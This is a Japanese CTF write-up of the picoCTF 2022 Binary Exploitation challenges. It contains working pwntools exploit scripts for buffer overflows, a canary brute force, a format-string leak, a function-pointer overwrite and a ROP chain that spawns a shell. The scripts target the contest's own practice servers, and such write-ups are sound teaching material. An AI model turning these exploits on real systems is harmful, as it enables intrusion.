2022年3月15日~3月29日に開催された中高生向けのCTF大会、picoCTFの[Binary Exploitation]分野のwriteupです。 その他のジャンルについてはこちらを参照。
basic-file-exploit
The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!
Connect to the program with netcat:
$ nc saturn.picoctf.net 50366
The program's source code with the flag redacted can be downloaded here.
program-redacted.c
が配布されます。
ソースコードによると、entry_number の index が 0 のところにflagが書いてあるらしい。
最初からメニューの2を選択してデータを読もうとすると、データがありませんと言われるので、一つ適当に入れてから 2: read
のメニューを選択、indexに 0
を指定するとflagが出てきました。
buffer overflow 0
Smash the stack
Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using:
nc saturn.picoctf.net 65355
実行コードとソースコードが配布されます。ソースコードを読むと、flagファイルを読み込んだ直後に signal
が設定されています。
また、vuln
関数では、サイズ100の領域に入力したデータを、サイズ16の領域にstrcpy
しようとしています。ここでエラーを発生させれば良さそうなので、タイトルの通りoverflowするよう16文字より長い入力をするとflagが表示されました。
CVE-XXXX-XXXX
Enter the CVE of the vulnerability as the flag with the correct flag format:
picoCTF{CVE-XXXX-XXXXX}
replacing XXXX-XXXXX with the numbers for the matching vulnerability.The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. T
The service is used to manage printers and print servers.
雑だけど、2行目の説明文をそのままgoogle検索に突っ込んだら
Security Update Guide - Microsoft Security Response Center
のページが先頭に引っかかったので、これを入れたら答えでした。
buffer overflow 1
Control the return address
ポチッとボタンを押してマシンを立ち上げると、以下の説明が追加されます。
Now we're cooking! You can overflow the buffer and return to the flag function in the program.
You can view source here. And connect with it using
nc saturn.picoctf.net 50118
また、ソースコードと実行ファイルが配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
vuln関数を呼ぶとサイズ32のbufferに入力できるので、この入力をいじってwin関数に飛ばせば良さそう。
現在入力した値によって return address がどう変化したかを表示してくれるらしいので、試行錯誤できるのが優しい。
まずは win
関数のアドレスを探します。
$ objdump -d vuln | grep win 080491f6 <win>: 804922c: 75 2a jne 0x8049258 <win+0x62>
このアドレスを、buffer + payload 分のあとに入れてみます。pwntoolsを使ってスクリプトにしました。32bitアーキテクチャなことに注意です。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'saturn.picoctf.net' port = 51330 win_addr = 0x80491f6 r = remote(host, port) r.recvuntil(b':') payload = b'a'*(32+12) + p32(win_addr) r.sendline(payload) res = r.recvall() print(res)
RPS
Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.
Connect to the program with netcat:
$ nc saturn.picoctf.net 53865
The program's source code with the flag redacted can be downloaded here.
じゃんけんゲームだ。5回連続で勝てば良いことがあるらしい。
ソースコードが配布されます。
ソースを読んだところ、下記のところで勝ち負け判断をされている事がわかります。
if (strstr(player_turn, loses[computer_turn])) {
これをcomputer_turn
の値によらず true
にするように player_turn
を送ることは出来ないでしょうか。
と思って strstr vulnerability
とかでググっていると下記の記事を発見。
Seems simple, compare string A to string B and ensure they match. But they used the strstr function. This will return true if string A contains string B. Oops.
なるほど!strstr
関数は、文字が "含まれていれば" trueを返しちゃうのね。ということは、毎回全部入りの文字列を送れば必ず勝てる。
5回 rockpaperscissors
を送ったらflagが出現しました。
x-sixty-what
Reminder: local exploits may not always work the same way remotely due to differences between machines.
Overflow x64 code
とりあえずボタンをポチしてマシンを立ち上げます。
Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag function in this program. Download source.
nc saturn.picoctf.net 61563
ソースコードと実行ファイル、マシンへの接続コマンドが配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFFSIZE 64 #define FLAGSIZE 64 void flag() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFFSIZE]; gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Welcome to 64-bit. Give me a string that gets you the flag: "); vuln(); return 0; }
コードを眺めたところ、flag
関数を呼べればflagがゲットできそう。main
関数からは、vuln
関数が呼ばれ、サイズ64のbufferに文字列を入力できます。
この入力によってflag
関数に飛ばせればOK。
64bitアーキテクチャでこのパターン、picoCTF2019 NewOverFlow-2のときと全く同じ解法で解けました。ヒントの通り、途中でret
を挟んであげるのが味噌。
r2 vuln > aaaa ...(omit)... > afl 0x00401236 3 124 sym.flag ...(omit)... > s sym.flag ...(omit)... │ 0x004012b0 c9 leave └ 0x004012b1 c3 ret
上記によりflag関数のアドレスと、そこで使われているret
のアドレスを取ってきて
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'saturn.picoctf.net' port = 61685 flag_addr = 0x00401236 ret_addr = 0x004012b1 r = remote(host, port) #r = process('./vuln') r.recvuntil(b'the flag: \n') payload = b'a'*(64+8) + p64(ret_addr) + p64(flag_addr) r.sendline(payload) res = r.recvall() print(res)
これで解けました👍
buffer overflow 2
Control the return address and arguments
This time you'll need to control the arguments to the function you return to! Can you get the flag from this program?
You can view source here. And connect with it using
nc saturn.picoctf.net 60619
ソースコードと実行ファイル、マシンへの接続方法が配布されます。今度はwin
関数を、適切な引数を付けて呼び出す必要がありそうです。引数についてはコードに書いてあります。
picoCTF2019 OverFlow 2 とほぼ同じ問題なので、解説はこちらを参照。
$ objdump -d vuln | grep win 08049296 <win>: 80492cc: 75 2a jne 0x80492f8 <win+0x62> 8049313: 75 1a jne 0x804932f <win+0x99>
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'saturn.picoctf.net' port = 60619 win_addr = 0x08049296 arg1 = 0xCAFEF00D arg2 = 0xF00DF00D r = remote(host, port) r.recvuntil(b'Please enter your string:') payload = b'a'*(100+12) + p32(win_addr) payload += b'a'*4 + p32(arg1) + p32(arg2) r.sendline(payload) res = r.recvall() print(res)
実行結果
$ python solve.py [+] Opening connection to saturn.picoctf.net on port 60619: Done [+] Receiving all data: Done (165B) [*] Closed connection to saturn.picoctf.net port 60619 b' \naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08aaaa\r\xf0\xfe\xca\r\xf0\r\xf0\npicoCTF{argum3nt5_4_d4yZ_4b24a3aa}'
buffer overflow 3
Do you think you can bypass the protection and get the flag?
It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here. And connect with it using:
nc saturn.picoctf.net 53541
実行ファイル・ソースコードが配布されます。今度もまた32bitアーキテクチャ。
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5fadb3d053aee24d87bef67c56037d6d9e2b56f2, for GNU/Linux 3.2.0, not stripped
ソースを見たところ、今度はサイズ4のcanaryが入っているようです。
canary自体はテキストファイルに書いてあるので、固定のものを使いまわしているみたい。サイズも小さいのでこれを当てるのはそんなに無茶なことではなさそう。
これ、picoCTF2018 buffer overflow 3 とほぼ同じ問題だったので、解くのに使ったスクリプトだけ置いておきます。考え方・解き方は上記を参照。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'saturn.picoctf.net' port = 54664 canary = b'' for i in range(4): for c in range(0xff): attack = b'a'*64 + canary + bytes([c]) r = remote(host, port) r.recvuntil('How Many Bytes will You Write Into the Buffer?\n> ') r.sendline(str(64+i+1)) r.recvuntil('Input> ') r.sendline(attack) res = r.recvall() if b'Canary Value Corrupt!' not in res: print(res) canary += bytes([c]) break print(canary)
canary特定スクリプトの実行結果
$ python canary.py ...(omit)... b"Ok... Now Where's the Flag?\n" b'BiRd'
win関数のアドレスは
$ objdump -d vuln | grep win 08049336 <win>: 804936c: 75 2a jne 0x8049398 <win+0x62>
flag取得スクリプト
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'saturn.picoctf.net' port = 54664 canary = b'' for i in range(4): for c in range(0xff): attack = b'a'*64 + canary + bytes([c]) #print(attack) r = remote(host, port) r.recvuntil('How Many Bytes will You Write Into the Buffer?\n> ') r.sendline(str(64+i+1)) r.recvuntil('Input> ') r.sendline(attack) res = r.recvall() #print(res) if b'Canary Value Corrupt!' not in res: print(res) canary += bytes([c]) break print(canary)
実行結果
$ python solve.py [+] Opening connection to saturn.picoctf.net on port 54664: Done [+] Receiving all data: Done (70B) [*] Closed connection to saturn.picoctf.net port 54664 b"Ok... Now Where's the Flag?\npicoCTF{Stat1C_c4n4r13s_4R3_b4D_10a64ab3}\n"
flag leak
Story telling class 1/2
I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:
nc saturn.picoctf.net 51378
実行ファイルとソースコードが配布されます。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <wchar.h> #include <locale.h> #define BUFSIZE 64 #define FLAGSIZE 64 void readflag(char* buf, size_t len) { FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,len,f); // size bound read } void vuln(){ char flag[BUFSIZE]; char story[128]; readflag(flag, FLAGSIZE); printf("Tell me a story and then I'll tell you one >> "); scanf("%127s", story); printf("Here's a story - \n"); printf(story); printf("\n"); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); return 0; }
storyを入力するとそのまま出力してくれるらしい。vuln
関数でflag用のbuffとstory用のbuffが並んで取得されているところがとても怪しい。
そして、ヒントを見ると Format Strings
とのこと。
Format Strings Attackを使って、どこかに読み出されたはずの flag
を読み出す問題っぽい。
picoCTF2018 echooo と同じ解法で解けたので、解説はこちらを参照。以下スクリプト。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * context.log_level = 'error' host = 'saturn.picoctf.net' port = 52030 for i in range(100): print('index: ' + str(i)) attack_msg = b'%%%d$s' % i r = remote(host, port) #r = process('./vuln') r.recvuntil(b"Tell me a story and then I'll tell you one >> ") r.sendline(attack_msg) r.recvuntil(b"Here's a story - \n") res = '' try: res = r.recv().decode() #print('decoded: ' + res) except: print('can not decode res message.') finally: r.close() if 'CTF' in res: print(res) break
localで試したところ、picoCTF
ではなくて CTF
から表示されたので、最後の判定部分のコードはpicoCTF
じゃなくてCTF
で引っ掛けています。実行結果。
$ python solve.py index: 0 index: 1 ...(omit)... index: 24 CTF{L34k1ng_Fl4g_0ff_St4ck_6aea3c7c}
ropfu
What's ROP?
ROP問題のようです。マシンをローンチすると、ソースコードと実行ファイルが配布されます。
Can you exploit the following program to get the flag? Download source.
nc saturn.picoctf.net 64338
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 16 void vuln() { char buf[16]; printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n"); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }
とてもシンプルなソース。flagに関する手がかりはなにもないので、shellを取るのをゴールとしてタイトルの通りROPを組みたいと思います。
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=3aa2bb6a5bf44d90a355da83fa909bbf5d9d90ce, for GNU/Linux 3.2.0, not stripped
ちなみに32bitアーキ。
実行ファイルの中身を radare2 で覗いてみましたが、他のライブラリが一緒に静的コンパイルされてそう。picoCTF2018 can-you-gets-meとかなり似ています。今回も詳細な説明はここを参照していただいて、以下はその時からの差分・使用したコマンド・スクリプトを書いておきます。
ROPgadgetをinstallしてやってみます。このときはkaliに標準で入ってたのに、最新のkaliには入ってなかった…。
$ ROPgadget --binary vuln --ropchain ...(omit)... - Step 5 -- Build the ROP chain #!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack # Padding goes here p = '' p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5060) # @ .data p += pack('<I', 0x41414141) # padding p += pack('<I', 0x080b074a) # pop eax ; ret p += '/bin' p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5064) # @ .data + 4 p += pack('<I', 0x41414141) # padding p += pack('<I', 0x080b074a) # pop eax ; ret p += '//sh' p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x41414141) # padding p += pack('<I', 0x0804fb90) # xor eax, eax ; ret p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08049022) # pop ebx ; ret p += pack('<I', 0x080e5060) # @ .data p += pack('<I', 0x08049e39) # pop ecx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x080e5060) # padding without overwrite ebx p += pack('<I', 0x0804fb90) # xor eax, eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0804a3d2) # int 0x80
最新のkaliのpython2にpip2入れて、pwntoolを入れて、足りないライブラリを色々入れたら動きました!python2でしか出ない仕様はまだアップグレードされていないのかな?
これをそのまま使って、python2用のexploitコードを書きます。
#!/usr/bin/env python2 # -*- coding:utf-8 -*- # execve generated by ROPgadget from pwn import * from struct import pack host = 'saturn.picoctf.net' port = 57819 #process = pico_ssh.process('./vuln') process = remote(host, port) # ここからROPgadgetの出力をそのまま + paddingを指定 # Padding goes here p = 'A' * (0x18 + 0x04) p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5060) # @ .data p += pack('<I', 0x41414141) # padding p += pack('<I', 0x080b074a) # pop eax ; ret p += '/bin' p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5064) # @ .data + 4 p += pack('<I', 0x41414141) # padding p += pack('<I', 0x080b074a) # pop eax ; ret p += '//sh' p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x41414141) # padding p += pack('<I', 0x0804fb90) # xor eax, eax ; ret p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08049022) # pop ebx ; ret p += pack('<I', 0x080e5060) # @ .data p += pack('<I', 0x08049e39) # pop ecx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x080e5060) # padding without overwrite ebx p += pack('<I', 0x0804fb90) # xor eax, eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0804a3d2) # int 0x80 process.sendline(p) process.interactive()
実行結果
$ python2 solve.py [+] Opening connection to saturn.picoctf.net on port 57819: Done [*] Switching to interactive mode How strong is your ROP-fu? Snatch the shell from my hand, grasshopper! $ ls flag.txt vuln $ cat flag.txt picoCTF{5n47ch_7h3_5h311_5b4fc869}
wine
Challenge best paired with wine.
I love windows. Checkout my exe running on a linux box. You can view source here. And connect with it using
nc saturn.picoctf.net 57271
ヒント
Gets is dangerous. Even on windows.
gets
の脆弱性を使う問題っぽい。ソースコードと実行ファイルvuln.exe
が配布されます。
$ file vuln.exe vuln.exe: PE32 executable (console) Intel 80386, for MS Windows
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <wchar.h> #include <locale.h> #define BUFSIZE 64 #define FLAGSIZE 64 void win(){ char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if running on picoCTF servers.\n"); exit(0); } fgets(buf,FLAGSIZE,f); // size bound read puts(buf); fflush(stdout); } void vuln() { printf("Give me a string!\n"); char buf[128]; gets(buf); } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); vuln(); return 0; }
ローカルでもremoteでも、最初何も出てこなかったのでおや?と思いましたが、暫く待つとちゃんと "Give me a string!" が出てきました。
他のwindowsじゃない問題と同様、mainから呼ばれていないwin
関数を呼べば良いようです。
$ objdump -d vuln.exe | grep win 00401530 <_win>: 401551: 75 18 jne 0x40156b <_win+0x3b>
32bitアーキテクチャのlinuxシステムのときと同じようにできるか試してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'saturn.picoctf.net' port = 54249 win_adder = 0x00401530 attack = b'a'*(128+12) + p32(win_adder) r = remote(host, port) r.recvuntil('Give me a string!') r.sendline(attack) print(r.recvall().decode())
実行結果
$ python solve.py [+] Opening connection to saturn.picoctf.net on port 54249: Done [+] Receiving all data: Done (1.49KB) [*] Closed connection to saturn.picoctf.net port 54249 picoCTF{Un_v3rr3_d3_v1n_1f5c0001} Unhandled exception: page fault on read access to 0x7fec3900 in 32-bit code (0x7fec3900). Register dump: CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063 EIP:7fec3900 ESP:0064fe84 EBP:61616161 EFLAGS:00010206( R- -- I - -P- ) EAX:00000000 EBX:00230e78 ECX:0064fe14 EDX:7fec48f4 ESI:00000005 EDI:0021e718 Stack dump: 0x0064fe84: 00000000 00000004 00000000 7b432ecc 0x0064fe94: 00230e78 0064ff28 00401386 00000002 0x0064fea4: 00230e70 006d0d50 7bcc4625 00000004 0x0064feb4: 00000008 00230e70 0021e718 0003feab 0x0064fec4: 0fb187a4 00000000 00000000 00000000 0x0064fed4: 00000000 00000000 00000000 00000000 Backtrace: =>0 0x7fec3900 (0x61616161) 0x7fec3900: addb %al,0x0(%eax) ...(omit)...
色んな情報を出してくれました!このDebugっぽい情報は、flagが表示されなくてもbuffer overflowしたら出てきたので試行錯誤するときは役に立ったっぽい。
今回はoffsetもバッチリ一回目であってたので、上記ログは成功してflagも出てきたときのログ。
function overwrite
Story telling class 2/2
You can point to all kinds of things in C. Checkout our function pointers demo program. You can view source here. And connect with it using
nc saturn.picoctf.net 51835
マシンをローンチすると、ソースコードと実行ファイルが配布されます。
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=b75d1c294605b83e31f819abdf410d4dcd8c7762, for GNU/Linux 3.2.0, not stripped
また32bitアーキテクチャです。ソースコードはこちら。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <wchar.h> #include <locale.h> #define BUFSIZE 64 #define FLAGSIZE 64 int calculate_story_score(char *story, size_t len) { int score = 0; for (size_t i = 0; i < len; i++) { score += story[i]; } return score; } void easy_checker(char *story, size_t len) { if (calculate_story_score(story, len) == 1337) { char buf[FLAGSIZE] = {0}; FILE *f = fopen("flag.txt", "r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf, FLAGSIZE, f); // size bound read printf("You're 1337. Here's the flag.\n"); printf("%s\n", buf); } else { printf("You've failed this class."); } } void hard_checker(char *story, size_t len) { if (calculate_story_score(story, len) == 13371337) { char buf[FLAGSIZE] = {0}; FILE *f = fopen("flag.txt", "r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf, FLAGSIZE, f); // size bound read printf("You're 13371337. Here's the flag.\n"); printf("%s\n", buf); } else { printf("You've failed this class."); } } void (*check)(char*, size_t) = hard_checker; int fun[10] = {0}; void vuln() { char story[128]; int num1, num2; printf("Tell me a story and then I'll tell you if you're a 1337 >> "); scanf("%127s", story); printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n"); scanf("%d %d", &num1, &num2); if (num1 < 10) { fun[num1] += num2; } check(story, strlen(story)); } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); return 0; }
flag leak
と似たような構成と変数名。今回main
から呼ばれるのはvuln
、その先はhard_checker
が呼ばれ、呼ばれる予定のないeasy_checker
が存在しています。
easy_checker
は入力した値の合計が1337になれば良いので、雰囲気で選びましたが ascii code に直すと 80
のP
を16個と 57
の9
を組み合わせればチェックを通りそう。
このロジックだと頑張ればhardのチェックも通せそうですが、なんとなくhard
よりeasy
の方を呼び出したい気がするので、アドレスを調べてみます。
$ objdump -d vuln | grep check 080492fc <easy_checker>: 8049325: 0f 85 f3 00 00 00 jne 0x804941e <easy_checker+0x122> 80493bb: 75 2a jne 0x80493e7 <easy_checker+0xeb> 804941c: eb 12 jmp 0x8049430 <easy_checker+0x134> 08049436 <hard_checker>: 804945f: 0f 85 f3 00 00 00 jne 0x8049558 <hard_checker+0x122> 80494f5: 75 2a jne 0x8049521 <hard_checker+0xeb> 8049556: eb 12 jmp 0x804956a <hard_checker+0x134>
以下で代入しているアドレスを、easyの方に書き換えたい。
void (*check)(char*, size_t) = hard_checker; int fun[10] = {0};
メモリ確保の並び順的に、このfun[マイナスのインデックス]
をeasyのアドレスに置き換えられるとよさそう。そういえばヒント、
Don't be so negative
って書いてあった。そんなに難しくないよって意味かと思ったけど、マイナスのindex使えるぜってことかもしれない。
fun[num1] += num2;
hard_checker
のアドレスをeasy_checker
のアドレスに書き換えるには、さっきのアドレスチェックの結果から、-314
(10進)する必要があります。
indexを-1
にしてもうまく行かないので、どのindexを書き換えたらいいのか下記のスクリプトで調査しました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * context.log_level = 'error' for i in range(0,50): r = process('./vuln') r.recvuntil(b"Tell me a story and then I'll tell you if you're a 1337 >> ") score = b'P'*16 + b'9' r.sendline(score) r.recvuntil(b"On a totally unrelated note, give me two numbers. Keep the first one less than 10.") payload = str(-i) print(b'num1: ' + payload.encode(), end='') r.sendline(payload.encode()) r.sendline(b'-314') print(r.recvall())
実行結果
indexは -16 のようです。あとはこれをremoteに向けてあげるだけ。
$ python solve.py b'PPPPPPPPPPPPPPPP9' 17 b"\nYou're 1337. Here's the flag.\npicoCTF{0v3rwrit1ng_P01nt3rs_53614882}\n"
stack cache
Undefined behaviours are fun.
It looks like Dr. Oswal allowed buffer overflows again. Analyse this program to identify how you can get to the flag. You can view source here. And connect with it using
nc saturn.picoctf.net 60277
実行ファイルとソースコードが配布されます。
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2086590c54a1529f4b0d75d5daf8d7814ac80e30, for GNU/Linux 3.2.0, not stripped
32bitアーキテクチャ。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <wchar.h> #include <locale.h> #define BUFSIZE 16 #define FLAGSIZE 64 #define INPSIZE 10 /* This program is compiled statically with clang-12 without any optimisations. */ void win() { char buf[FLAGSIZE]; char filler[BUFSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,FLAGSIZE,f); // size bound read } void UnderConstruction() { // this function is under construction char consideration[BUFSIZE]; char *demographic, *location, *identification, *session, *votes, *dependents; char *p,*q, *r; // *p = "Enter names"; // *q = "Name 1"; // *r = "Name 2"; unsigned long *age; printf("User information : %p %p %p %p %p %p\n",demographic, location, identification, session, votes, dependents); printf("Names of user: %p %p %p\n", p,q,r); printf("Age of user: %p\n",age); fflush(stdout); } void vuln(){ char buf[INPSIZE]; printf("Give me a string that gets you the flag\n"); gets(buf); printf("%s\n",buf); return; } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); printf("Bye!"); return 0; }
ヒントはこちら。
Maybe there is content left over from stack?
Try compiling it with gcc and clang-12 to see how the binaries differ
main関数からvuln
が呼ばれ、文字列入力させてそれを出力して終わり。他、flagを読み込むだけの win
関数と、呼び出されていない未定義の変数が多く、その未定義の変数を出力するUnderConstruction
関数があります。最後の fflush
関数が気になるところ。
ヒントや題名からも、win
関数の中でどこかのメモリに読みだしたflagを、次にUnderConstruction
関数を呼んで未定義の変数、即ち初期化もされていない変数を出力させることで表示できたりしないかしら。
ということで、各関数のアドレスを調査します。
$ r2 vuln [0x08049c20]> aaaa [0x08049c20]> afl | grep win ...(omit)... 0x08049da0 3 122 sym.win ...(omit)... [0x08049c20]> afl | grep UnderConstruction 0x08049e20 1 148 sym.UnderConstruction
あとは、このアドレスを順番に呼んであげます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * context.log_level = 'error' host = 'saturn.picoctf.net' port = 58081 local_addr_win = 0x08049da0 local_addr_uncon = 0x08049e20 #r = process('./vuln') r = remote(host, port) r.recvuntil(b'Give me a string that gets you the flag') payload = b'a' * (10 + 4) payload += p32(local_addr_win) payload += p32(local_addr_uncon) r.sendline(payload) res = r.recvall() print(res)
実行結果
$ python3 rempte.py b'\naaaaaaaaaaaaaa\xa0\x9d\x04\x08 \x9e\x04\x08\nUser information : 0x80c9a04 0x804007d 0x37363765 0x63353532 0x5f597230 0x6d334d5f\nNames of user: 0x50755f4e 0x34656c43 0x7b465443\nAge of user: 0x6f636970\n'
このhexを逆順にascii変換すると、flagが得られました。